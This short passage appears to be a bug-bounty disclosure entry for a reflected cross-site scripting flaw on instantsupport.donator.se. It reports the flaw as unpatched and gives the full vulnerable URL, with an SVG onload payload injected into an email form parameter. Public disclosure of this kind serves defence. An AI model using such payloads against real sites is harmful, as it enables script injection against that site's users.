instantsupport.donator.se XSS vulnerability

Vulnerable URL: http://instantsupport.donator.se/lul/email/SendEmail.jsp?SendEmailTitle=Send%20Email%20to%20Help%20deskTo=xss%22%3E%3Csvg/onload=prompt/openbugbounty/%3ESubject=Search...Content=undefined Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018...